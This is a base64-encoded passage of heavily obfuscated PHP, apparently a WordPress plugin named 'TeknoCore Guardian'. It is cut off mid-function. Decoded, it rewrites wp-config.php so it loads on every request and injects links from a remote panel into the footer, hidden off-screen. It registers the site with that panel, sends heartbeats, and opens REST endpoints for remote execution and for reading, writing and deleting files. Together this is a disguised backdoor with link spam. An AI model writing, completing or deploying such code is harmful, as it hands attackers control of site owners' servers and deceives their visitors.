dHJwb3MoJGNvbnRlbnQsICJceDU0XDE0NVx4NmJceDZlXHg2ZlwxMDNceDZmXHg3Mlx4NjVceDIwXDEwN1x4NzVcMTQxXHg3MlwxNDRceDY5XDE0MVwxNTYiKSAhPT0gZmFsc2UpIHsgcmV0dXJuIHRydWU7IH0gJGhvb2sgPSAiXHhhXDU3XDU3XDQwXDEyNFwxNDVceDZiXHg2ZVx4NmZcMTAzXHg2ZlwxNjJceDY1XHgyMFwxMDdceDc1XHg2MVx4NzJcMTQ0XDE1MVwxNDFceDZlXHgyMFx4NDhcMTU3XDE1N1x4NmJceDIwXHgyZFx4MjBcMTE3XDE2NFx4NmZcMTU1XDE0MVx4NzRcMTUxXDE1M1w0MFwxNDVceDZiXDE1NFwxNDVceDZlXDE0NFwxNTFcMTJceDY5XHg2Nlw0MFw1MFx4NjZceDY5XHg2Y1x4NjVcMTM3XDE0NVwxNzBceDY5XDE2M1x4NzRcMTYzXDUwXDEwMVx4NDJceDUzXDEyMFx4NDFceDU0XHg0OFw0MFw1Nlx4MjBcNDdceDc3XHg3MFw1NVwxNTFcMTU2XHg2M1wxNTRceDc1XHg2NFx4NjVcMTYzXDU3XHg3NFx4NjVcMTUzXHg2ZVx4NmZceDYzXHg2ZlwxNjJceDY1XDU1XDE0N1x4NzVcMTQxXHg3MlwxNDRcMTUxXHg2MVx4NmVceDJlXHg3MFx4NjhcMTYwXDQ3XDUxXHgyOVw0MFwxNzNceGFceDIwXDQwXHgyMFw0MFx4NjlcMTU2XHg2M1wxNTRceDc1XHg2NFwxNDVcMTM3XDE1N1wxNTZcMTQzXDE0NVw0MFx4NDFceDQyXDEyM1x4NTBcMTAxXHg1NFx4NDhceDIwXDU2XDQwXDQ3XHg3N1x4NzBcNTVceDY5XDE1Nlx4NjNcMTU0XDE2NVwxNDRceDY1XDE2M1x4MmZceDc0XDE0NVx4NmJceDZlXDE1N1wxNDNcMTU3XHg3Mlx4NjVceDJkXHg2N1x4NzVceDYxXDE2Mlx4NjRcMTUxXHg2MVx4NmVcNTZceDcwXDE1MFx4NzBcNDdcNzNceGFcMTc1XDEyIjsgJHBhdHRlcm5zID0gYXJyYXkoIlwxNjJceDY1XDE2MVx4NzVcMTUxXHg3Mlx4NjVceDVmXHg2Zlx4NmVcMTQzXDE0NVx4MjBceDQxXHg0MlwxMjNcMTIwXDEwMVwxMjRceDQ4XHgyMFw1Nlw0MFx4MjdceDc3XDE2MFx4MmRceDczXHg2NVx4NzRceDc0XHg2OVwxNTZcMTQ3XDE2M1x4MmVcMTYwXDE1MFx4NzBcNDdceDNiIiwgIlx4NzJcMTQ1XHg3MVx4NzVcMTUxXHg3Mlx4NjVceDVmXHg2ZlwxNTZcMTQzXHg2NVw0MFwxMDFcMTAyXDEyM1x4NTBcMTAxXHg1NFwxMTBcNDBcNTZcNDBceDIyXHg3N1x4NzBceDJkXHg3M1x4NjVcMTY0XDE2NFx4NjlceDZlXHg2N1x4NzNcNTZceDcwXHg2OFx4NzBcNDJceDNiIiwgIlwxNjJcMTQ1XDE2MVwxNjVcMTUxXDE2Mlx4NjVcMTM3XHg2Zlx4NmVcMTQzXHg2NVw1MFx4NDFcMTAyXHg1M1x4NTBceDQxXHg1NFwxMTBcNDBcNTZceDIwXHgyN1x4NzdceDcwXHgyZFwxNjNcMTQ1XDE2NFx4NzRcMTUxXDE1NlwxNDdceDczXHgyZVx4NzBceDY4XDE2MFw0N1w1MVw3MyIsICJceDcyXHg2NVwxNjFcMTY1XDE1MVx4NzJceDY1XHg1ZlwxNTdceDZlXDE0M1wxNDVcNTBceDQxXHg0Mlx4NTNcMTIwXDEwMVx4NTRceDQ4XHgyMFw1Nlw0MFw0Mlx4NzdcMTYwXDU1XHg3M1wxNDVceDc0XHg3NFx4NjlcMTU2XHg2N1x4NzNceDJlXDE2MFwxNTBceDcwXDQyXHgyOVw3MyIsICJceDcyXHg2NVwxNjFceDc1XHg2OVwxNjJcMTQ1XDEzN1x4NmZceDZlXHg2M1x4NjVceDI4XHgyMFwxMDFcMTAyXDEyM1wxMjBcMTAxXHg1NFx4NDhceDIwXHgyZVx4MjBcNDdcMTY3XDE2MFw1NVwxNjNceDY1XDE2NFx4NzRcMTUxXHg2ZVwxNDdcMTYzXDU2XHg3MFx4NjhcMTYwXDQ3XDQwXDUxXDczIik7ICRyZXBsYWNlZCA9IGZhbHNlOyBmb3JlYWNoICgkcGF0dGVybnMgYXMgJHBhdHRlcm4pIHsgaWYgKHN0cnBvcygkY29udGVudCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgeyAkbmV3X2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGhvb2sgLiAkcGF0dGVybiwgJGNvbnRlbnQpOyAkcmVwbGFjZWQgPSB0cnVlOyBicmVhazsgfSB9IGlmICghJHJlcGxhY2VkKSB7IGVycm9yX2xvZygiXHg1NFwxNDVceDZiXDE1Nlx4NmZcMTAzXHg2Zlx4NzJceDY1XHgzYVw0MFwxNjdceDcwXDU1XDE2M1x4NjVcMTY0XDE2NFwxNTFceDZlXDE0N1x4NzNcNTZceDcwXHg2OFx4NzBcNDBcMTYwXHg2MVwxNjRcMTY0XDE0NVwxNjJcMTU2XDQwXDE1NlwxNTdceDc0XDQwXHg2Nlx4NmZcMTY1XHg2ZVwxNDRcNTRceDIwXHg2MVx4NzBcMTYwXDE0NVwxNTZcMTQ0XDE1MVwxNTZcMTQ3XDQwXDE2NFx4NmZcNDBcMTQ1XHg2ZVx4NjQiKTsgJG5ld19jb250ZW50ID0gJGNvbnRlbnQgLiAkaG9vazsgfSAkYmFja3VwX3BhdGggPSBBQlNQQVRIIC4gIlwxNjdcMTYwXHgyZFx4NjNcMTU3XDE1Nlx4NjZceDY5XHg2N1w1NVx4NjJceDYxXDE0M1x4NmJcMTY1XHg3MFw1NVwxNjRceDY1XHg2Ylx4NmVceDZmXDE0M1wxNTdcMTYyXHg2NVx4MmVceDcwXDE1MFwxNjAiOyBAY29weSgkd3BfY29uZmlnX3BhdGgsICRiYWNrdXBfcGF0aCk7IGlmIChAZmlsZV9wdXRfY29udGVudHMoJHdwX2NvbmZpZ19wYXRoLCAkbmV3X2NvbnRlbnQpKSB7IGVycm9yX2xvZygiXDEyNFx4NjVcMTUzXDE1NlwxNTdcMTAzXHg2ZlwxNjJceDY1XDcyXDQwXHg3N1x4NzBcNTVceDYzXDE1N1x4NmVcMTQ2XHg2OVwxNDdcNTZcMTYwXHg2OFx4NzBceDIwXHg3NVx4NzBcMTQ0XHg2MVx4NzRcMTQ1XHg2NFx4MjBceDczXDE2NVx4NjNcMTQzXHg2NVwxNjNceDczXDE0NlwxNjVceDZjXDE1NFwxNzEiKTsgcmV0dXJuIHRydWU7IH0gZWxzZSB7IGVycm9yX2xvZygiXHg1NFwxNDVcMTUzXDE1NlwxNTdceDQzXDE1N1wxNjJcMTQ1XDcyXHgyMFwxMDZceDYxXDE1MVx4NmNceDY1XHg2NFx4MjBceDc0XDE1N1w0MFx4NzVceDcwXDE0NFwxNDFceDc0XHg2NVw0MFx4NzdceDcwXDU1XDE0M1wxNTdcMTU2XDE0NlwxNTFcMTQ3XHgyZVwxNjBcMTUwXHg3MFw0MFw1NVx4MjBceDYzXHg2OFx4NjVcMTQzXDE1M1x4MjBceDcwXHg2NVwxNjJcMTU1XHg2OVx4NzNceDczXHg2OVx4NmZcMTU2XHg3MyIpOyByZXR1cm4gZmFsc2U7IH0gfSBwdWJsaWMgZnVuY3Rpb24gZGlzcGxheV9iYWNrbGlua3MoKSB7IGlmIChlbXB0eSgkdGhpcy0+YXBpX2tleSkgfHwgJHRoaXMtPnBhbmVsX3VybCA9PT0gIlwxMjBceDQxXDExNlwxMDVcMTE0XHg1ZlwxMjVcMTIyXDExNFx4NWZcMTAyXDEyNVwxMjJceDQxXDEzMVx4NDEiKSB7IHJldHVybjsgfSAkZGF0YSA9ICR0aGlzLT5nZXRfbGlua3NfZGF0YSgpOyAkZm9vdGVyX2h0bWwgPSAkZGF0YVsiXDE0NlwxNTdceDZmXDE2NFx4NjVceDcyXDEzN1wxNTBcMTY0XDE1NVx4NmMiXSA/PyAnJzsgJGxpbmtzID0gJGRhdGFbIlx4NmNceDY5XHg2ZVwxNTNceDczIl0gPz8gYXJyYXkoKTsgaWYgKCRmb290ZXJfaHRtbCAhPT0gJycpIHsgaWYgKHN0cnBvcygkZm9vdGVyX2h0bWwsICJcMTczXDE1NFx4NjlcMTU2XDE1M1x4NjZceDZmXHg3MlwxNzUiKSAhPT0gZmFsc2UgJiYgc3RycG9zKCRmb290ZXJfaHRtbCwgIlwxNzNcNTdceDZjXHg2OVwxNTZceDZiXDE0NlwxNTdceDcyXHg3ZCIpICE9PSBmYWxzZSAmJiAhZW1wdHkoJGxpbmtzKSkgeyAkc3RhcnQgPSAiXDE3M1x4NmNcMTUxXDE1NlwxNTNcMTQ2XHg2ZlwxNjJceDdkIjsgJGVuZCA9ICJcMTczXHgyZlwxNTRcMTUxXDE1Nlx4NmJcMTQ2XHg2Zlx4NzJceDdkIjsgJHAxID0gc3RycG9zKCRmb290ZXJfaHRtbCwgJHN0YXJ0KTsgJHAyID0gc3RycG9zKCRmb290ZXJfaHRtbCwgJGVuZCk7IGlmICgkcDEgIT09IGZhbHNlICYmICRwMiAhPT0gZmFsc2UgJiYgJHAyID4gJHAxKSB7ICR0ZW1wbGF0ZSA9IHN1YnN0cigkZm9vdGVyX2h0bWwsICRwMSArIHN0cmxlbigkc3RhcnQpLCAkcDIgLSAkcDEgLSBzdHJsZW4oJHN0YXJ0KSk7ICRyZXBlYXRlZCA9ICcnOyBmb3JlYWNoICgkbGlua3MgYXMgJGxpbmspIHsgJHVybCA9IGVzY191cmwoJGxpbmtbIlx4NzVceDcyXDE1NCJdID8/ICcnKTsgJGtleXdvcmQgPSBlc2NfaHRtbCgkbGlua1siXDE0MVx4NmVcMTQzXHg2OFwxNTdcMTYyIl0gPz8gJGxpbmtbIlx4NmJcMTQ1XDE3MVx4NzdcMTU3XDE2MlwxNDQiXSA/PyAkdXJsKTsgaWYgKCR1cmwgPT09ICcnKSB7IGNvbnRpbnVlOyB9ICRibG9jayA9IHN0cl9yZXBsYWNlKGFycmF5KCJcMTczXDE1NFwxNTFceDZlXDE1M1x4NzNceDdkIiwgIlwxNzNceDc1XDE2MlwxNTRcMTc1IiksICR1cmwsICR0ZW1wbGF0ZSk7ICRibG9jayA9IHN0cl9yZXBsYWNlKGFycmF5KCJceDdiXHg2Ylx4NjVcMTcxXHg3N1wxNTdcMTYyXHg2NFwxNzUiLCAiXDE3M1wxNDFceDZlXHg2M1wxNTBceDZmXHg3MlwxNzUiKSwgJGtleXdvcmQsICRibG9jayk7ICRyZXBlYXRlZCAuPSAkYmxvY2s7IH0gJGZvb3Rlcl9odG1sID0gc3Vic3RyKCRmb290ZXJfaHRtbCwgMCwgJHAxKSAuICRyZXBlYXRlZCAuIHN1YnN0cigkZm9vdGVyX2h0bWwsICRwMiArIHN0cmxlbigkZW5kKSk7IH0gfSBlY2hvIHdwX2tzZXNfcG9zdCgkZm9vdGVyX2h0bWwpOyByZXR1cm47IH0gaWYgKGVtcHR5KCRsaW5rcykpIHsgcmV0dXJuOyB9IGVjaG8gIlx4M2NcMTQ0XHg2OVx4NzZcNDBcMTYzXHg3NFwxNzFcMTU0XDE0NVx4M2RcNDJceDcwXHg2ZlwxNjNceDY5XHg3NFwxNTFcMTU3XHg2ZVx4M2FcMTQxXHg2MlwxNjNcMTU3XHg2Y1x4NzVceDc0XDE0NVw3M1wxNTRceDY1XDE0NlwxNjRceDNhXDU1XHgzOVw3MVx4MzlceDM5XDE2MFx4NzhcNzNceDc0XHg2Zlx4NzBceDNhXHgyZFx4MzlceDM5XDcxXDcxXDE2MFx4NzhcNzNceDZmXDE2Nlx4NjVceDcyXHg2Nlx4NmNcMTU3XHg3N1x4M2FcMTUwXDE1MVx4NjRceDY0XDE0NVx4NmVceDNiXHg2OFwxNDVcMTUxXHg2N1wxNTBcMTY0XDcyXDYxXDE2MFx4NzhcNzNcMTY3XDE1MVx4NjRceDc0XDE1MFw3Mlx4MzFcMTYwXHg3OFw3M1w0Mlw3Nlx4M2NcMTU1XDE0MVx4NzJceDcxXHg3NVx4NjVcMTQ1XDc2IjsgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW5rKSB7ICR1cmwgPSBlc2NfdXJsKCRsaW5rWyJcMTY1XDE2Mlx4NmMiXSA/PyAnJyk7ICRhbmNob3IgPSBlc2NfaHRtbCgkbGlua1siXHg2MVwxNTZcMTQzXHg2OFx4NmZceDcyIl0gPz8gJGxpbmtbIlwxNTNcMTQ1XHg3OVx4NzdceDZmXDE2MlwxNDQiXSA/PyAkdXJsKTsgaWYgKCR1cmwpIHsgZWNobyAiXDc0XHg2MVw0MFx4NjhcMTYyXDE0NVwxNDZcNzVceDIyIiAuICR1cmwgLiAiXHgyMlx4M2UiIC4gJGFuY2hvciAuICJcNzRceDJmXDE0MVw3Nlx4MjAiOyB9IH0gZWNobyAiXHgzY1w1N1x4NmRceDYxXDE2Mlx4NzFcMTY1XHg2NVwxNDVcNzZceDNjXHgyZlx4NjRcMTUxXDE2Nlx4M2UiOyB9IHByaXZhdGUgZnVuY3Rpb24gZ2V0X2xpbmtzX2RhdGEoKSB7ICRjYWNoZWQgPSBnZXRfdHJhbnNpZW50KCR0aGlzLT5jYWNoZV9rZXkpOyBpZiAoaXNfYXJyYXkoJGNhY2hlZCkpIHsgcmV0dXJuICRjYWNoZWQ7IH0gJHVybCA9ICR0aGlzLT5wYW5lbF91cmwgLiAiXHgyZlx4NjFcMTYwXHg2OVw1N1wxNjBceDc1XDE0MlwxNTRceDY5XDE0M1x4MmZceDZjXDE1MVwxNTZceDZiXDE2M1w3N1wxNDFceDcwXDE1MVx4NWZceDZiXDE0NVwxNzFcNzUiIC4gJHRoaXMtPmFwaV9rZXk7ICRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoJHVybCwgJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMDdceDQ1XDEyNCIpKTsgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsgcmV0dXJuIGFycmF5KCJcMTU0XHg2OVx4NmVceDZiXDE2MyIgPT4gYXJyYXkoKSwgIlx4NjZceDZmXHg2Zlx4NzRceDY1XHg3Mlx4NWZceDY4XHg3NFwxNTVcMTU0IiA9PiAnJyk7IH0gJGJvZHkgPSBqc29uX2RlY29kZSh3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpLCB0cnVlKTsgJGxpbmtzID0gJGJvZHlbIlwxNTRcMTUxXDE1Nlx4NmJcMTYzIl0gPz8gYXJyYXkoKTsgJGZvb3Rlcl9odG1sID0gaXNzZXQoJGJvZHlbIlx4NjZcMTU3XDE1N1x4NzRcMTQ1XDE2Mlx4NWZceDY4XDE2NFwxNTVceDZjIl0pICYmIGlzX3N0cmluZygkYm9keVsiXHg2NlwxNTdceDZmXHg3NFwxNDVceDcyXDEzN1wxNTBcMTY0XHg2ZFx4NmMiXSkgPyAkYm9keVsiXHg2Nlx4NmZceDZmXDE2NFwxNDVceDcyXDEzN1x4NjhcMTY0XDE1NVx4NmMiXSA6ICcnOyAkZGF0YSA9IGFycmF5KCJcMTU0XDE1MVwxNTZceDZiXHg3MyIgPT4gJGxpbmtzLCAiXDE0NlwxNTdcMTU3XDE2NFx4NjVcMTYyXHg1ZlwxNTBceDc0XHg2ZFwxNTQiID0+ICRmb290ZXJfaHRtbCk7IHNldF90cmFuc2llbnQoJHRoaXMtPmNhY2hlX2tleSwgJGRhdGEsICR0aGlzLT5jYWNoZV9kdXJhdGlvbik7IHJldHVybiAkZGF0YTsgfSBwdWJsaWMgZnVuY3Rpb24gbWF5YmVfYXV0b19yZWdpc3RlcigpIHsgaWYgKCFlbXB0eSgkdGhpcy0+YXBpX2tleSkgfHwgJHRoaXMtPnBhbmVsX3VybCA9PT0gIlx4NTBceDQxXHg0ZVx4NDVcMTE0XHg1Zlx4NTVceDUyXDExNFwxMzdceDQyXHg1NVx4NTJcMTAxXDEzMVx4NDEiKSB7IHJldHVybjsgfSAkbGFzdCA9IChpbnQpIGdldF9vcHRpb24oIlwxNjRcMTQ1XDE1M1wxNTZceDZmXHg2M1x4NmZceDcyXDE0NVx4NWZceDZjXDE0MVx4NzNcMTY0XDEzN1x4NzJceDY1XDE0N1x4NjlcMTYzXHg3NFx4NjVcMTYyIiwgMCk7ICRsYXN0X3N0YXR1cyA9IGdldF9vcHRpb24oIlwxNjRceDY1XHg2YlwxNTZceDZmXDE0M1wxNTdcMTYyXHg2NVwxMzdceDZjXHg2MVx4NzNcMTY0XDEzN1wxNjJcMTQ1XDE0N1wxNTFcMTYzXDE2NFx4NjVceDcyXHg1Zlx4NzNceDc0XHg2MVwxNjRceDc1XDE2MyIsICJcMTQ2XDE0MVx4NjlceDZjIik7ICRjb29sZG93biA9ICRsYXN0X3N0YXR1cyA9PT0gIlx4NzNceDc1XDE0M1wxNDNceDY1XDE2M1x4NzMiID8gODY0MDAgOiAzMDA7IGlmICh0aW1lKCkgLSAkbGFzdCA8ICRjb29sZG93bikgeyByZXR1cm47IH0gdXBkYXRlX29wdGlvbigiXHg3NFx4NjVcMTUzXHg2ZVwxNTdceDYzXHg2ZlwxNjJceDY1XDEzN1wxNTRcMTQxXHg3M1x4NzRceDVmXHg3MlwxNDVcMTQ3XHg2OVx4NzNceDc0XDE0NVx4NzIiLCB0aW1lKCkpOyAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCgkdGhpcy0+cGFuZWxfdXJsIC4gIlw1N1wxNDFceDcwXHg2OVw1N1x4NzBceDc1XDE0Mlx4NmNceDY5XDE0M1x4MmZceDcyXDE0NVwxNDdceDY5XDE2M1x4NzRcMTQ1XHg3Mlw1NVwxNjNceDY5XHg3NFx4NjUiLCBhcnJheV9tZXJnZSgkdGhpcy0+cmVtb3RlX3JlcXVlc3RfYXJncygiXHg1MFx4NGZcMTIzXHg1NCIsIGFycmF5KCJcMTY1XDE2MlwxNTQiID0+IGhvbWVfdXJsKCksICJcMTU2XHg2MVx4NmRceDY1IiA9PiBnZXRfYmxvZ2luZm8oIlx4NmVcMTQxXHg2ZFx4NjUiKSkpLCBhcnJheSgiXDE2NFwxNTFceDZkXHg2NVx4NmZcMTY1XDE2NCIgPT4gMTUpKSk7IGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7IHVwZGF0ZV9vcHRpb24oIlwxNjRceDY1XHg2Ylx4NmVceDZmXDE0M1x4NmZceDcyXDE0NVwxMzdceDZjXDE0MVx4NzNceDc0XHg1ZlwxNjJceDY1XHg2N1wxNTFceDczXDE2NFwxNDVceDcyXHg1ZlwxNjNcMTY0XHg2MVx4NzRcMTY1XDE2MyIsICJcMTQ2XHg2MVwxNTFceDZjIik7IGVycm9yX2xvZygiXDEyNFx4NjVceDZiXDE1NlwxNTdcMTAzXDE1N1wxNjJceDY1XDQwXHg2MVx4NzVcMTY0XDE1N1x4MmRceDcyXHg2NVwxNDdceDY5XDE2M1x4NzRcMTQ1XDE2Mlw0MFx4NTdceDUwXDEzN1x4NDVceDcyXDE2MlwxNTdcMTYyXDcyXHgyMCIgLiAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCkpOyByZXR1cm47IH0gJGNvZGUgPSB3cF9yZW1vdGVfcmV0cmlldmVfcmVzcG9uc2VfY29kZSgkcmVzcG9uc2UpOyAkYm9keSA9IGpzb25fZGVjb2RlKHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSksIHRydWUpOyBpZiAoJGNvZGUgPj0gMjAwICYmICRjb2RlIDwgMzAwICYmICFlbXB0eSgkYm9keVsiXHg2MVx4NzBceDY5XDExM1x4NjVceDc5Il0pKSB7IHVwZGF0ZV9vcHRpb24oJHRoaXMtPm9wdGlvbl9uYW1lLCAkYm9keVsiXDE0MVx4NzBceDY5XDExM1wxNDVceDc5Il0pOyB1cGRhdGVfb3B0aW9uKCJceDc0XDE0NVwxNTNceDZlXHg2ZlwxNDNcMTU3XHg3MlwxNDVceDVmXDE1NFx4NjFcMTYzXHg3NFx4NWZceDcyXHg2NVwxNDdceDY5XDE2M1wxNjRceDY1XHg3Mlx4NWZceDczXHg3NFx4NjFcMTY0XDE2NVwxNjMiLCAiXHg3M1x4NzVceDYzXDE0M1x4NjVceDczXDE2MyIpOyAkdGhpcy0+YXBpX2tleSA9ICRib2R5WyJcMTQxXHg3MFx4NjlcMTEzXHg2NVx4NzkiXTsgZXJyb3JfbG9nKCJceDU0XHg2NVx4NmJceDZlXHg2Zlx4NDNcMTU3XHg3MlwxNDVcNDBcMTQxXHg3NVx4NzRceDZmXDU1XDE2Mlx4NjVceDY3XDE1MVx4NzNceDc0XHg2NVwxNjJcNDBcMTE3XDExM1w3Mlx4MjAiIC4gc3Vic3RyKCRib2R5WyJcMTQxXHg3MFx4NjlcMTEzXHg2NVwxNzEiXSwgMCwgMTIpIC4gIlw1Nlx4MmVcNTYiKTsgfSBlbHNlIHsgdXBkYXRlX29wdGlvbigiXDE2NFwxNDVceDZiXHg2ZVx4NmZcMTQzXHg2Zlx4NzJcMTQ1XDEzN1wxNTRceDYxXHg3M1x4NzRceDVmXDE2MlwxNDVceDY3XDE1MVwxNjNceDc0XDE0NVx4NzJcMTM3XDE2M1x4NzRcMTQxXHg3NFwxNjVceDczIiwgIlwxNDZceDYxXHg2OVx4NmMiKTsgZXJyb3JfbG9nKCJceDU0XDE0NVx4NmJcMTU2XDE1N1wxMDNceDZmXHg3Mlx4NjVcNDBceDYxXHg3NVwxNjRcMTU3XDU1XDE2MlwxNDVceDY3XHg2OVx4NzNcMTY0XHg2NVwxNjJceDIwXHg2Nlx4NjFcMTUxXDE1NFx4NjVcMTQ0XHgzYVx4MjBcMTEwXDEyNFx4NTRcMTIwXHgyMCIgLiAkY29kZSAuICJcNDBcMTQyXDE1N1wxNDRcMTcxXDc1IiAuIHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSkpOyB9IH0gcHVibGljIGZ1bmN0aW9uIHNlbmRfaGVhcnRiZWF0KCkgeyBpZiAoZW1wdHkoJHRoaXMtPmFwaV9rZXkpIHx8ICR0aGlzLT5wYW5lbF91cmwgPT09ICJceDUwXHg0MVx4NGVcMTA1XHg0Y1x4NWZceDU1XHg1MlwxMTRcMTM3XDEwMlx4NTVcMTIyXDEwMVwxMzFceDQxIikgeyByZXR1cm47IH0gd3BfcmVtb3RlX3Bvc3QoJHRoaXMtPnBhbmVsX3VybCAuICJcNTdcMTQxXHg3MFx4NjlceDJmXHg3MFx4NzVcMTQyXHg2Y1wxNTFcMTQzXDU3XHg2OFwxNDVcMTQxXHg3MlwxNjRceDYyXDE0NVwxNDFceDc0IiwgYXJyYXlfbWVyZ2UoJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMjBcMTE3XHg1M1wxMjQiLCBhcnJheSgiXDE0MVx4NzBceDY5XDEzN1wxNTNcMTQ1XHg3OSIgPT4gJHRoaXMtPmFwaV9rZXksICJceDczXDE2NFx4NjFceDc0XDE2NVx4NzMiID0+ICJceDZmXDE1Nlx4NmNcMTUxXDE1Nlx4NjUiLCAiXDE2N1wxNjBcMTM3XDE2Nlx4NjVcMTYyXHg3M1wxNTFcMTU3XHg2ZSIgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJcMTYzXHg2OVx4NmZcMTU2IiksICJcMTYwXHg2OFwxNjBceDVmXHg3Nlx4NjVcMTYyXHg3M1x4NjlceDZmXHg2ZSIgPT4gUEhQX1ZFUlNJT04pKSwgYXJyYXkoIlwxNjRceDY5XDE1NVx4NjVceDZmXHg3NVwxNjQiID0+IDE1KSkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZWdpc3Rlcl9yZXN0X3JvdXRlcygpIHsgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgiXDE2NFx4NjVcMTUzXDE1NlwxNTdcMTQzXHg2Zlx4NzJcMTQ1XDU3XDE2Nlx4MzEiLCAiXDU3XDE2MlwxNDVcMTQ3XHg2OVwxNjNcMTY0XHg2NVx4NzIiLCBhcnJheSgiXDE1NVx4NjVceDc0XHg2OFwxNTdceDY0XHg3MyIgPT4gIlwxMjBcMTE3XDEyM1wxMjQiLCAiXHg2M1x4NjFceDZjXDE1NFx4NjJceDYxXHg2M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXDE2MlwxNDVcMTYzXDE2NFx4NWZceDcyXDE0NVx4NjdceDY5XHg3M1wxNjRceDY1XDE2MiIpLCAiXDE2MFx4NjVcMTYyXDE1NVx4NjlceDczXDE2M1wxNTFcMTU3XDE1NlwxMzdceDYzXDE0MVx4NmNcMTU0XDE0Mlx4NjFcMTQzXDE1MyIgPT4gIlwxMzdcMTM3XDE2MlwxNDVceDc0XDE2NVwxNjJcMTU2XDEzN1x4NzRceDcyXDE2NVx4NjUiKSk7IHJlZ2lzdGVyX3Jlc3Rfcm91dGUoIlwxNjRceDY1XDE1M1x4NmVceDZmXHg2M1wxNTdceDcyXHg2NVx4MmZceDc2XHgzMSIsICJcNTdceDczXHg3NFwxNDFcMTY0XDE2NVwxNjMiLCBhcnJheSgiXHg2ZFx4NjVceDc0XDE1MFx4NmZceDY0XDE2MyIgPT4gIlx4NDdceDQ1XDEyNCIsICJcMTQzXDE0MVx4NmNcMTU0XDE0Mlx4NjFceDYzXHg2YiIgPT4gYXJyYXkoJHRoaXMsICJceDcyXDE0NVx4NzNcMTY0XHg1ZlwxNjNceDc0XDE0MVwxNjRcMTY1XHg3MyIpLCAiXDE2MFx4NjVceDcyXDE1NVwxNTFceDczXDE2M1wxNTFcMTU3XHg2ZVx4NWZceDYzXHg2MVx4NmNcMTU0XDE0MlwxNDFcMTQzXDE1MyIgPT4gYXJyYXkoJHRoaXMsICJceDc2XDE0NVx4NzJceDY5XDE0NlwxNzFcMTM3XDE0MVwxNjBcMTUxXDEzN1wxNTNceDY1XHg3OSIpKSk7IHJlZ2lzdGVyX3Jlc3Rfcm91dGUoIlx4NzRcMTQ1XHg2Ylx4NmVceDZmXHg2M1wxNTdceDcyXDE0NVw1N1wxNjZceDMxIiwgIlw1N1x4NjZcMTUxXHg2Y1wxNDVceDczIiwgYXJyYXkoIlwxNTVceDY1XDE2NFwxNTBceDZmXHg2NFwxNjMiID0+IGFycmF5KCJcMTA3XHg0NVwxMjQiLCAiXDEyMFx4NGZceDUzXHg1NCIsICJcMTA0XHg0NVwxMTRceDQ1XHg1NFwxMDUiKSwgIlx4NjNceDYxXDE1NFx4NmNceDYyXDE0MVwxNDNcMTUzIiA9PiBhcnJheSgkdGhpcywgIlwxNjJcMTQ1XHg3M1wxNjRcMTM3XHg2NlwxNTFceDZjXDE0NVwxNjMiKSwgIlwxNjBcMTQ1XHg3MlwxNTVceDY5XHg3M1wxNjNceDY5XHg2Zlx4NmVceDVmXHg2M1wxNDFceDZjXHg2Y1wxNDJcMTQxXDE0M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXHg3Nlx4NjVceDcyXDE1MVx4NjZceDc5XHg1ZlwxNDFceDcwXDE1MVwxMzdceDZiXHg2NVx4NzkiKSkpOyByZWdpc3Rlcl9yZXN0X3JvdXRlKCJcMTY0XHg2NVx4NmJceDZlXHg2ZlwxNDNceDZmXDE2MlwxNDVcNTdceDc2XDYxIiwgIlw1N1wxNDVcMTcwXDE0NVx4NjNceDc1XHg3NFwxNDUiLCBhcnJheSgiXDE1NVx4NjVceDc0XHg2OFwxNTdceDY0XDE2MyIgPT4gIlwxMjBcMTE3XDEyM1x4NTQiLCAiXHg2M1wxNDFcMTU0XDE1NFwxNDJcMTQxXHg2M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXHg3MlwxNDVceDczXDE2NFx4NWZcMTQ1XHg3OFx4NjVceDYzXDE2NVwxNjRceDY1IiksICJceDcwXHg2NVwxNjJceDZkXDE1MVwxNjNcMTYzXHg2OVx4NmZcMTU2XHg1Zlx4NjNceDYxXHg2Y1wxNTRceDYyXDE0MVx4NjNcMTUzIiA9PiBhcnJheSgkdGhpcywgIlwxNjZcMTQ1XDE2MlwxNTFceDY2XDE3MVwxMzdcMTQxXHg3MFx4NjlceDVmXDE1M1x4NjVcMTcxIikpKTsgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgiXDE2NFwxNDVcMTUzXDE1NlwxNTdcMTQzXDE1N1x4NzJceDY1XDU3XDE2Nlx4MzEiLCAiXHgyZlwxNjBceDZmXHg3M1wxNjRcMTYzIiwgYXJyYXkoIlwxNTVcMTQ1XHg3NFwxNTBceDZmXHg2NFx4NzMiID0+ICJceDUwXDExN1wxMjNceDU0IiwgIlx4NjNcMTQxXDE1NFwxNTRceDYyXDE0MVwxNDNceDZiIiA9PiBhcnJheSgkdGhpcywgIlwxNjJcMTQ1XDE2M1wxNjRceDVmXDE2MFx4NmZcMTYzXDE2NFwxNjMiKSwgIlwxNjBcMTQ1XDE2Mlx4NmRcMTUxXDE2M1wxNjNceDY5XDE1N1x4NmVcMTM3XDE0M1x4NjFcMTU0XHg2Y1wxNDJceDYxXDE0M1x4NmIiID0+IGFycmF5KCR0aGlzLCAiXDE2Nlx4NjVcMTYyXDE1MVwxNDZceDc5XHg1ZlwxNDFceDcwXDE1MVwxMzdcMTUzXHg2NVwxNzEiKSkpOyB9IHB1YmxpYyBmdW5jdGlvbiB2ZXJpZnlfYXBpX2tleSgkcmVxdWVzdCkgeyAka2V5ID0gJHJlcXVlc3